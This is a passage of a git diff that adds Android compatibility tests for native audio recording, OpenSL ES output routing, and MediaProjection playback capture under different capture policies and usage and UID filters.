+                    Thread.sleep(TEST_END_SLEEP_MSEC); // put a gap in the tone sequence
+                    frequency += 50; // increment test tone frequency
+                }
+            }
+        }
+    }
+
+    private boolean isLowRamDevice() {
+        return ((ActivityManager)getContext().getSystemService(Context.ACTIVITY_SERVICE)
+                ).isLowRamDevice();
+    }
+
+    public void testRecordStreamData() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        final String TEST_NAME = "testRecordStreamData";
+        final boolean TEST_FLOAT_ARRAY[] = {
+                false,
+                true,
+        };
+        final int TEST_SR_ARRAY[] = {
+                //4000, // below limit of OpenSL ES
+                12345, // irregular sampling rate
+                44100,
+                48000,
+                96000,
+                192000,
+        };
+        final int TEST_CHANNELS_ARRAY[] = {
+                1,
+                2,
+                3,
+                4,
+                5,
+                6,
+                7,
+                8,
+        };
+        final int SEGMENT_DURATION_IN_MSEC = 20;
+        final int NUMBER_SEGMENTS = 10;
+
+        for (boolean TEST_FLOAT : TEST_FLOAT_ARRAY) {
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CHANNELS : TEST_CHANNELS_ARRAY) {
+                    // OpenSL ES BUG: we run out of AudioTrack memory for this config on MNC
+                    if (TEST_FLOAT == true && TEST_CHANNELS >= 8 && TEST_SR >= 192000) {
+                        continue;
+                    }
+                    AudioRecordNative record = new AudioRecordNative();
+                    doRecordTest(record, TEST_CHANNELS, TEST_SR, TEST_FLOAT,
+                            SEGMENT_DURATION_IN_MSEC, NUMBER_SEGMENTS);
+                }
+            }
+        }
+    }
+
+    public void testRecordAudit() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioRecordNative record = new AudioRecordAuditNative();
+        doRecordTest(record, 4 /* numChannels */, 44100 /* sampleRate */, false /* useFloat */,
+                1000 /* segmentDurationMs */, 10 /* numSegments */);
+    }
+
+    public void testOutputChannelMasks() {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioTrackNative track = new AudioTrackNative();
+
+        int maxOutputChannels = 2;
+        int validIndexMask = (1 << maxOutputChannels) - 1;
+
+        for (int mask = 0; mask <= MAX_INDEX_MASK; ++mask) {
+            int channelCount = Long.bitCount(mask);
+            boolean expectSuccess = (channelCount > 0)
+                && ((mask & validIndexMask) != 0);
+
+            // TODO: uncomment this line when b/27484181 is fixed.
+            // expectSuccess &&= ((mask & ~validIndexMask) == 0);
+
+            boolean ok = track.open(channelCount,
+                mask | CHANNEL_INDEX_MASK_MAGIC, 48000, false, 2);
+            track.close();
+            assertEquals(expectSuccess, ok);
+        }
+    }
+
+    public void testInputChannelMasks() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        AudioManager audioManager =
+                (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
+        AudioDeviceInfo[] inputDevices = audioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+
+        if (ApiLevelUtil.isAfter(Build.VERSION_CODES.P)) {
+            testInputChannelMasksPostQ(inputDevices);
+        } else {
+            testInputChannelMasksPreQ(inputDevices);
+        }
+    }
+
+    private void testInputChannelMasksPreQ(AudioDeviceInfo[] inputDevices) {
+        AudioRecordNative recorder = new AudioRecordNative();
+
+        int maxInputChannels = 0;
+        for (AudioDeviceInfo deviceInfo : inputDevices) {
+            for (int channels : deviceInfo.getChannelCounts()) {
+                maxInputChannels = Math.max(channels, maxInputChannels);
+            }
+        }
+
+        int validIndexMask = (1 << maxInputChannels) - 1;
+
+        for (int mask = 0; mask <= MAX_INDEX_MASK; ++mask) {
+            int channelCount = Long.bitCount(mask);
+            boolean expectSuccess = (channelCount > 0)
+                && ((mask & validIndexMask) != 0);
+
+            // TODO: uncomment this line when b/27484181 is fixed.
+            // expectSuccess &&= ((mask & ~validIndexMask) == 0);
+
+            boolean ok = recorder.open(channelCount,
+                mask | CHANNEL_INDEX_MASK_MAGIC, 48000, false, 2);
+            recorder.close();
+            assertEquals(expectSuccess, ok);
+        }
+    }
+
+    private void testInputChannelMasksPostQ(AudioDeviceInfo[] inputDevices) {
+        AudioRecordNative recorder = new AudioRecordNative();
+
+        // first determine device selected for capture with channel index mask.
+        boolean res = recorder.open(1, 1 | CHANNEL_INDEX_MASK_MAGIC, 16000, false, 2);
+        // capture one channel at 16kHz is mandated by CDD
+        assertTrue(res);
+        AudioRouting router = recorder.getRoutingInterface();
+        AudioDeviceInfo device = router.getRoutedDevice();
+        assertNotNull(device);
+        recorder.close();
+
+        int indexChannelMasks[] = device.getChannelIndexMasks();
+        int posChannelMasks[] = device.getChannelMasks();
+        int bestEquivIndexMask = 0;
+
+        // Capture must succeed if the device supports index channel masks or less than
+        // two positional channels
+        boolean defaultExpectSuccess = false;
+        if (indexChannelMasks.length != 0) {
+            defaultExpectSuccess = true;
+        } else {
+            for (int mask : posChannelMasks) {
+                int channelCount = AudioFormat.channelCountFromInChannelMask(mask);
+                if (channelCount <= 2) {
+                     defaultExpectSuccess = true;
+                     break;
+                }
+                int equivIndexMask = (1 << channelCount) - 1;
+                if (equivIndexMask > bestEquivIndexMask) {
+                    bestEquivIndexMask = equivIndexMask;
+                }
+            }
+        }
+
+        for (int mask = 1; mask <= MAX_INDEX_MASK; ++mask) {
+            // Capture must succeed if the number of positional channels is enough to include
+            // one of the requested index channels
+            boolean expectSuccess = defaultExpectSuccess || ((mask & bestEquivIndexMask) != 0);
+
+            int channelCount = Long.bitCount(mask);
+            boolean ok = recorder.open(channelCount,
+                mask | CHANNEL_INDEX_MASK_MAGIC, 48000, false, 2);
+            recorder.close();
+
+            assertEquals(expectSuccess, ok);
+        }
+    }
+
+    static {
+        System.loadLibrary("audiocts_jni");
+    }
+
+    private static final String TAG = "AudioNativeTest";
+
+    private void doRecordTest(AudioRecordNative record,
+            int numChannels, int sampleRate, boolean useFloat,
+            int segmentDurationMs, int numSegments) {
+        final String TEST_NAME = "doRecordTest";
+        try {
+            // Log.d(TEST_NAME, "open numChannels:" + numChannels + " sampleRate:" + sampleRate);
+            assertTrue(TEST_NAME, record.open(numChannels, sampleRate, useFloat,
+                    numSegments /* numBuffers */));
+            assertTrue(TEST_NAME, record.start());
+
+            final int sourceSamples =
+                    (int)((long)sampleRate * segmentDurationMs * numChannels / 1000);
+
+            if (useFloat) {
+                float data[] = new float[sourceSamples];
+                for (int i = 0; i < numSegments; ++i) {
+                    assertEquals(sourceSamples,
+                            record.read(data, 0 /* offset */, sourceSamples,
+                                    AudioRecordNative.READ_FLAG_BLOCKING));
+                }
+            } else {
+                short data[] = new short[sourceSamples];
+                for (int i = 0; i < numSegments; ++i) {
+                    assertEquals(sourceSamples,
+                            record.read(data, 0 /* offset */, sourceSamples,
+                                    AudioRecordNative.READ_FLAG_BLOCKING));
+                }
+            }
+            assertTrue(TEST_NAME, record.stop());
+        } finally {
+            record.close();
+        }
+    }
+
+    private boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    private boolean hasAudioOutput() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    private static native void nativeAppendixBBufferQueue();
+    private static native void nativeAppendixBRecording();
+
+    /* AudioRecordAudit extends AudioRecord to allow concurrent playback
+     * of read content to an AudioTrack.  This is for testing only.
+     * For general applications, it is NOT recommended to extend AudioRecord.
+     * This affects AudioRecord timing.
+     */
+    public static class AudioRecordAuditNative extends AudioRecordNative {
+        public AudioRecordAuditNative() {
+            super();
+            // Caution: delayMs too large results in buffer sizes that cannot be created.
+            mTrack = new AudioTrackNative();
+        }
+
+        public boolean open(int numChannels, int sampleRate, boolean useFloat, int numBuffers) {
+            if (super.open(numChannels, sampleRate, useFloat, numBuffers)) {
+                if (!mTrack.open(numChannels, sampleRate, useFloat, 2 /* numBuffers */)) {
+                    mTrack = null; // remove track
+                }
+                return true;
+            }
+            return false;
+        }
+
+        public void close() {
+            super.close();
+            if (mTrack != null) {
+                mTrack.close();
+            }
+        }
+
+        public boolean start() {
+            if (super.start()) {
+                if (mTrack != null) {
+                    mTrack.start();
+                }
+                return true;
+            }
+            return false;
+        }
+
+        public boolean stop() {
+            if (super.stop()) {
+                if (mTrack != null) {
+                    mTrack.stop(); // doesn't allow remaining data to play out
+                }
+                return true;
+            }
+            return false;
+        }
+
+        public int read(short[] audioData, int offsetInShorts, int sizeInShorts, int readFlags) {
+            int samples = super.read(audioData, offsetInShorts, sizeInShorts, readFlags);
+            if (mTrack != null) {
+                Assert.assertEquals(samples, mTrack.write(audioData, offsetInShorts, samples,
+                        AudioTrackNative.WRITE_FLAG_BLOCKING));
+                mPosition += samples / mTrack.getChannelCount();
+            }
+            return samples;
+        }
+
+        public int read(float[] audioData, int offsetInFloats, int sizeInFloats, int readFlags) {
+            int samples = super.read(audioData, offsetInFloats, sizeInFloats, readFlags);
+            if (mTrack != null) {
+                Assert.assertEquals(samples, mTrack.write(audioData, offsetInFloats, samples,
+                        AudioTrackNative.WRITE_FLAG_BLOCKING));
+                mPosition += samples / mTrack.getChannelCount();
+            }
+            return samples;
+        }
+
+        public AudioTrackNative mTrack;
+        private final static String TAG = "AudioRecordAuditNative";
+        private int mPosition;
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioPlayRoutingNative.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlayRoutingNative.java
new file mode 100644
index 0000000..7bd4ada
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlayRoutingNative.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.annotation.IntDef;
+import android.annotation.NonNull;
+import android.content.Context;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.AudioRouting;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+public class AudioPlayRoutingNative extends AndroidTestCase {
+    private static final String TAG = "AudioPlayRoutingNative";
+
+    private AudioManager mAudioManager;
+
+    static {
+        System.loadLibrary("audiocts_jni");
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // get the AudioManager
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        assertNotNull(mAudioManager);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    //
+    // Tests
+    //
+
+    // Test a basic Aquire/Release cycle on the default player.
+    public void testAquireDefaultProxy() throws Exception {
+        AudioPlayer player = new AudioPlayer();
+        player.ClearLastSLResult();
+        player.RealizePlayer();
+        player.RealizeRoutingProxy();
+
+        AudioRouting routingObj = player.GetRoutingInterface();
+        assertNotNull(routingObj);
+
+        // Not allowed to acquire twice
+        routingObj = player.GetRoutingInterface();
+        assertNull(routingObj);
+        assertTrue(player.GetLastSLResult() != 0);
+
+        player.ReleaseRoutingInterface(routingObj);
+        assertTrue(player.GetLastSLResult() == 0);
+    }
+
+    // Test an Aquire before the OpenSL ES player is Realized.
+    public void testAquirePreRealizeDefaultProxy() throws Exception {
+        AudioPlayer player = new AudioPlayer();
+        player.ClearLastSLResult();
+        player.RealizeRoutingProxy();
+        assertTrue(player.GetLastSLResult() == 0);
+
+        AudioRouting routingObj = player.GetRoutingInterface();
+        assertTrue(player.GetLastSLResult() == 0);
+        assertNotNull(routingObj);
+
+        player.RealizePlayer();
+        assertTrue(player.GetLastSLResult() == 0);
+
+        player.ReleaseRoutingInterface(routingObj);
+        assertTrue(player.GetLastSLResult() == 0);
+    }
+
+    // Test actually setting the routing through the enumerated devices.
+    public void testRouting() {
+        AudioPlayer player = new AudioPlayer();
+        player.ClearLastSLResult();
+        player.RealizePlayer();
+        player.RealizeRoutingProxy();
+
+        AudioRouting routingObj = player.GetRoutingInterface();
+        assertNotNull(routingObj);
+
+        AudioDeviceInfo[] deviceList;
+        deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        assertTrue(deviceList != null);
+        for (AudioDeviceInfo devInfo : deviceList) {
+            assertTrue(routingObj.setPreferredDevice(devInfo));
+        }
+
+        player.ReleaseRoutingInterface(routingObj);
+        assertTrue(player.GetLastSLResult() == 0);
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackCaptureTest.java
new file mode 100644
index 0000000..4ab67a5
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackCaptureTest.java
@@ -0,0 +1,520 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_ALL;
+import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_NONE;
+import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM;
+
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
+import android.media.AudioAttributes;
+import android.media.AudioAttributes.AttributeUsage;
+import android.media.AudioAttributes.CapturePolicy;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioPlaybackCaptureConfiguration;
+import android.media.AudioRecord;
+import android.media.cts.MediaProjectionActivity;
+import android.media.MediaPlayer;
+import android.media.audio.cts.R;
+import android.media.projection.MediaProjection;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.nio.ByteBuffer;
+import java.nio.ShortBuffer;
+import java.util.Stack;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test audio playback capture through MediaProjection.
+ *
+ * The tests do the following:
+ *   - retrieve a MediaProjection through MediaProjectionActivity
+ *   - play some audio
+ *   - use that MediaProjection to record the audio playing
+ *   - check that some audio was recorded.
+ *
+ * Currently the test that some audio was recorded just check that at least one sample is non 0.
+ * A better check needs to be used, eg: compare the power spectrum.
+ */
+@NonMediaMainlineTest
+public class AudioPlaybackCaptureTest {
+    private static final String TAG = "AudioPlaybackCaptureTest";
+    private static final int SAMPLE_RATE = 44100;
+    private static final int BUFFER_SIZE = SAMPLE_RATE * 2; // 1s at 44.1k/s 16bit mono
+
+    private AudioManager mAudioManager;
+    private boolean mPlaybackBeforeCapture;
+    private int mUid; //< UID of this test
+    private MediaProjectionActivity mActivity;
+    private MediaProjection mMediaProjection;
+    @Rule
+    public ActivityTestRule<MediaProjectionActivity> mActivityRule =
+                new ActivityTestRule<>(MediaProjectionActivity.class);
+
+    private static class APCTestConfig {
+        public @AttributeUsage int[] matchingUsages;
+        public @AttributeUsage int[] excludeUsages;
+        public int[] matchingUids;
+        public int[] excludeUids;
+        private AudioPlaybackCaptureConfiguration build(MediaProjection projection)
+                throws Exception {
+            AudioPlaybackCaptureConfiguration.Builder apccBuilder =
+                    new AudioPlaybackCaptureConfiguration.Builder(projection);
+
+            if (matchingUsages != null) {
+                for (int usage : matchingUsages) {
+                    apccBuilder.addMatchingUsage(usage);
+                }
+            }
+            if (excludeUsages != null) {
+                for (int usage : excludeUsages) {
+                    apccBuilder.excludeUsage(usage);
+                }
+            }
+            if (matchingUids != null) {
+                for (int uid : matchingUids) {
+                    apccBuilder.addMatchingUid(uid);
+                }
+            }
+            if (excludeUids != null) {
+                for (int uid : excludeUids) {
+                    apccBuilder.excludeUid(uid);
+                }
+            }
+            AudioPlaybackCaptureConfiguration config = apccBuilder.build();
+            assertCorreclyBuilt(config);
+            return config;
+        }
+
+        private void assertCorreclyBuilt(AudioPlaybackCaptureConfiguration config) {
+            assertEqualNullIsEmpty("matchingUsages", matchingUsages, config.getMatchingUsages());
+            assertEqualNullIsEmpty("excludeUsages", excludeUsages, config.getExcludeUsages());
+            assertEqualNullIsEmpty("matchingUids", matchingUids, config.getMatchingUids());
+            assertEqualNullIsEmpty("excludeUids", excludeUids, config.getExcludeUids());
+        }
+
+        private void assertEqualNullIsEmpty(String msg, int[] expected, int[] found) {
+            if (expected == null) {
+                assertEquals(msg, 0, found.length);
+            } else {
+                assertArrayEquals(msg, expected, found);
+            }
+        }
+    };
+    private APCTestConfig mAPCTestConfig;
+
+    @Before
+    public void setup() throws Exception {
+        mPlaybackBeforeCapture = false;
+        mAPCTestConfig = new APCTestConfig();
+        mActivity = mActivityRule.getActivity();
+        mAudioManager = mActivity.getSystemService(AudioManager.class);
+        mUid = mActivity.getApplicationInfo().uid;
+        mMediaProjection = mActivity.waitForMediaProjection();
+    }
+
+    private AudioRecord createDefaultPlaybackCaptureRecord() throws Exception {
+        return createPlaybackCaptureRecord(
+            new AudioFormat.Builder()
+                 .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                 .setSampleRate(SAMPLE_RATE)
+                 .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                 .build());
+    }
+
+    private AudioRecord createPlaybackCaptureRecord(AudioFormat audioFormat) throws Exception {
+        AudioPlaybackCaptureConfiguration apcConfig = mAPCTestConfig.build(mMediaProjection);
+
+        AudioRecord audioRecord = new AudioRecord.Builder()
+                .setAudioPlaybackCaptureConfig(apcConfig)
+                .setAudioFormat(audioFormat)
+                .build();
+        assertEquals("AudioRecord failed to initialized", AudioRecord.STATE_INITIALIZED,
+                     audioRecord.getState());
+        return audioRecord;
+    }
+
+    private MediaPlayer createMediaPlayer(@CapturePolicy int capturePolicy, int resid,
+                                          @AttributeUsage int usage) {
+        MediaPlayer mediaPlayer = MediaPlayer.create(
+                mActivity,
+                resid,
+                new AudioAttributes.Builder()
+                    .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+                    .setUsage(usage)
+                    .setAllowedCapturePolicy(capturePolicy)
+                    .build(),
+                mAudioManager.generateAudioSessionId());
+        mediaPlayer.setLooping(true);
+        return mediaPlayer;
+    }
+
+    private static ByteBuffer readToBuffer(AudioRecord audioRecord, int bufferSize)
+            throws Exception {
+        assertEquals("AudioRecord is not recording", AudioRecord.RECORDSTATE_RECORDING,
+                     audioRecord.getRecordingState());
+        ByteBuffer buffer = ByteBuffer.allocateDirect(bufferSize);
+        int retry = 100;
+        boolean silence = true;
+        while (silence && buffer.hasRemaining()) {
+            assertNotSame(buffer.remaining() + "/" + bufferSize + "remaining", 0, retry--);
+            int written = audioRecord.read(buffer, buffer.remaining());
+            assertThat("audioRecord did not read frames", written, greaterThan(0));
+            for (int i = 0; i < written; i++) {
+                silence &= buffer.get() == 0;
+            }
+        }
+        buffer.rewind();
+        return buffer;
+    }
+
+    private static boolean onlySilence(ShortBuffer buffer) {
+        while (buffer.hasRemaining()) {
+            if (buffer.get() != 0) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    public void testPlaybackCapture(@CapturePolicy int capturePolicy,
+                                    @AttributeUsage int playbackUsage,
+                                    boolean dataPresent) throws Exception {
+        MediaPlayer mediaPlayer = createMediaPlayer(capturePolicy, R.raw.testwav_16bit_44100hz,
+                                                    playbackUsage);
+        try {
+            if (mPlaybackBeforeCapture) {
+                mediaPlayer.start();
+                // Make sure the player is actually playing, thus forcing a rerouting
+                Thread.sleep(100);
+            }
+
+            AudioRecord audioRecord = createDefaultPlaybackCaptureRecord();
+
+            try {
+                audioRecord.startRecording();
+                mediaPlayer.start();
+                ByteBuffer rawBuffer = readToBuffer(audioRecord, BUFFER_SIZE);
+                audioRecord.stop(); // Force an reroute
+                mediaPlayer.stop();
+                assertEquals(AudioRecord.RECORDSTATE_STOPPED, audioRecord.getRecordingState());
+                if (dataPresent) {
+                    assertFalse("Expected data, but only silence was recorded",
+                                onlySilence(rawBuffer.asShortBuffer()));
+                } else {
+                    assertTrue("Expected silence, but some data was recorded",
+                               onlySilence(rawBuffer.asShortBuffer()));
+                }
+            } finally {
+                audioRecord.release();
+            }
+        } finally {
+            mediaPlayer.release();
+        }
+    }
+
+    public void testPlaybackCapture(boolean allowCapture,
+                                    @AttributeUsage int playbackUsage,
+                                    boolean dataPresent) throws Exception {
+        if (allowCapture) {
+            testPlaybackCapture(ALLOW_CAPTURE_BY_ALL, playbackUsage, dataPresent);
+        } else {
+            testPlaybackCapture(ALLOW_CAPTURE_BY_SYSTEM, playbackUsage, dataPresent);
+            testPlaybackCapture(ALLOW_CAPTURE_BY_NONE, playbackUsage, dataPresent);
+
+            try {
+                mAudioManager.setAllowedCapturePolicy(ALLOW_CAPTURE_BY_SYSTEM);
+                testPlaybackCapture(ALLOW_CAPTURE_BY_ALL, playbackUsage, dataPresent);
+                mAudioManager.setAllowedCapturePolicy(ALLOW_CAPTURE_BY_NONE);
+                testPlaybackCapture(ALLOW_CAPTURE_BY_ALL, playbackUsage, dataPresent);
+            } finally {
+                // Do not impact followup test is case of failure
+                mAudioManager.setAllowedCapturePolicy(ALLOW_CAPTURE_BY_ALL);
+            }
+        }
+    }
+
+    private static final boolean OPT_IN = true;
+    private static final boolean OPT_OUT = false;
+
+    private static final boolean EXPECT_DATA = true;
+    private static final boolean EXPECT_SILENCE = false;
+
+    private static final @AttributeUsage int[] ALLOWED_USAGES = new int[]{
+            AudioAttributes.USAGE_UNKNOWN,
+            AudioAttributes.USAGE_MEDIA,
+            AudioAttributes.USAGE_GAME
+    };
+    private static final @AttributeUsage int[] FORBIDEN_USAGES = new int[]{
+            AudioAttributes.USAGE_ALARM,
+            AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY,
+            AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE,
+            AudioAttributes.USAGE_ASSISTANCE_SONIFICATION,
+            AudioAttributes.USAGE_ASSISTANT,
+            AudioAttributes.USAGE_NOTIFICATION,
+    };
+
+    @Presubmit
+    @Test
+    public void testPlaybackCaptureFast() throws Exception {
+        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_MEDIA, EXPECT_DATA);
+        testPlaybackCapture(OPT_OUT, AudioAttributes.USAGE_MEDIA, EXPECT_SILENCE);
+    }
+
+    @Test
+    public void testPlaybackCaptureRerouting() throws Exception {
+        mPlaybackBeforeCapture = true;
+        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_MEDIA, EXPECT_DATA);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testMatchNothing() throws Exception {
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_UNKNOWN, EXPECT_SILENCE);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testCombineUsages() throws Exception {
+        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_UNKNOWN };
+        mAPCTestConfig.excludeUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_UNKNOWN, EXPECT_SILENCE);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testCombineUid() throws Exception {
+        mAPCTestConfig.matchingUids = new int[]{ mUid };
+        mAPCTestConfig.excludeUids = new int[]{ 0 };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_UNKNOWN, EXPECT_SILENCE);
+    }
+
+    @Test
+    public void testCaptureMatchingAllowedUsage() throws Exception {
+        for (int usage : ALLOWED_USAGES) {
+            mAPCTestConfig.matchingUsages = new int[]{ usage };
+            testPlaybackCapture(OPT_IN, usage, EXPECT_DATA);
+            testPlaybackCapture(OPT_OUT, usage, EXPECT_SILENCE);
+
+            mAPCTestConfig.matchingUsages = ALLOWED_USAGES;
+            testPlaybackCapture(OPT_IN, usage, EXPECT_DATA);
+            testPlaybackCapture(OPT_OUT, usage, EXPECT_SILENCE);
+        }
+    }
+
+    @Test
+    public void testCaptureMatchingForbidenUsage() throws Exception {
+        for (int usage : FORBIDEN_USAGES) {
+            mAPCTestConfig.matchingUsages = new int[]{ usage };
+            testPlaybackCapture(OPT_IN, usage, EXPECT_SILENCE);
+
+            mAPCTestConfig.matchingUsages = ALLOWED_USAGES;
+            testPlaybackCapture(OPT_IN, usage, EXPECT_SILENCE);
+        }
+    }
+
+    @Test
+    public void testCaptureExcludeUsage() throws Exception {
+        for (int usage : ALLOWED_USAGES) {
+            mAPCTestConfig.excludeUsages = new int[]{ usage };
+            testPlaybackCapture(OPT_IN, usage, EXPECT_SILENCE);
+
+            mAPCTestConfig.excludeUsages = ALLOWED_USAGES;
+            testPlaybackCapture(OPT_IN, usage, EXPECT_SILENCE);
+
+            mAPCTestConfig.excludeUsages = FORBIDEN_USAGES;
+            testPlaybackCapture(OPT_IN, usage, EXPECT_DATA);
+        }
+    }
+
+    @Test
+    public void testCaptureMatchingUid() throws Exception {
+        mAPCTestConfig.matchingUids = new int[]{ mUid };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_GAME, EXPECT_DATA);
+        testPlaybackCapture(OPT_OUT, AudioAttributes.USAGE_GAME, EXPECT_SILENCE);
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_VOICE_COMMUNICATION, EXPECT_SILENCE);
+
+        mAPCTestConfig.matchingUids = new int[]{ 0 };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_GAME, EXPECT_SILENCE);
+    }
+
+    @Test
+    public void testCaptureExcludeUid() throws Exception {
+        mAPCTestConfig.excludeUids = new int[]{ 0 };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_GAME, EXPECT_DATA);
+        testPlaybackCapture(OPT_OUT, AudioAttributes.USAGE_UNKNOWN, EXPECT_SILENCE);
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_VOICE_COMMUNICATION, EXPECT_SILENCE);
+
+        mAPCTestConfig.excludeUids = new int[]{ mUid };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_GAME, EXPECT_SILENCE);
+    }
+
+    @Test(expected = UnsupportedOperationException.class)
+    public void testStoppedMediaProjection() throws Exception {
+        mMediaProjection.stop();
+        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
+        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_MEDIA, EXPECT_DATA);
+    }
+
+    @Test
+    public void testStopMediaProjectionDuringCapture() throws Exception {
+        final int STOP_TIMEOUT_MS = 1000;
+
+        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
+
+        MediaPlayer mediaPlayer = createMediaPlayer(ALLOW_CAPTURE_BY_ALL,
+                                                    R.raw.testwav_16bit_44100hz,
+                                                    AudioAttributes.USAGE_MEDIA);
+        mediaPlayer.start();
+
+        AudioRecord audioRecord = createDefaultPlaybackCaptureRecord();
+        audioRecord.startRecording();
+        ByteBuffer rawBuffer = readToBuffer(audioRecord, BUFFER_SIZE);
+        assertFalse("Expected data, but only silence was recorded",
+                    onlySilence(rawBuffer.asShortBuffer()));
+
+        final int nativeBufferSize = audioRecord.getBufferSizeInFrames()
+                                     * audioRecord.getChannelCount();
+
+        // Stop the media projection
+        CountDownLatch stopCDL = new CountDownLatch(1);
+        mMediaProjection.registerCallback(new MediaProjection.Callback() {
+                public void onStop() {
+                    stopCDL.countDown();
+                }
+            }, new Handler(Looper.getMainLooper()));
+        mMediaProjection.stop();
+        assertTrue("Could not stop the MediaProjection in " + STOP_TIMEOUT_MS + "ms",
+                   stopCDL.await(STOP_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        // With the remote submix disabled, no new samples should feed the track buffer.
+        // As a result, read() should fail after at most the total buffer size read.
+        // Even if the projection is stopped, the policy unregisteration is async,
+        // so double that to be on the conservative side.
+        final int MAX_READ_SIZE = 8 * nativeBufferSize;
+        int readSize = 0;
+        ByteBuffer buffer = ByteBuffer.allocateDirect(BUFFER_SIZE);
+        int status;
+        while ((status = audioRecord.read(buffer, BUFFER_SIZE)) > 0) {
+            readSize += status;
+            assertThat("audioRecord did not stop, current state is "
+                       + audioRecord.getRecordingState(), readSize, lessThan(MAX_READ_SIZE));
+        }
+        audioRecord.stop();
+        audioRecord.startRecording();
+
+        // Check that the audioRecord can no longer receive audio
+        assertThat("Can still record after policy unregistration",
+                   audioRecord.read(buffer, BUFFER_SIZE), lessThan(0));
+
+        audioRecord.release();
+        mediaPlayer.stop();
+        mediaPlayer.release();
+    }
+
+
+    @Test
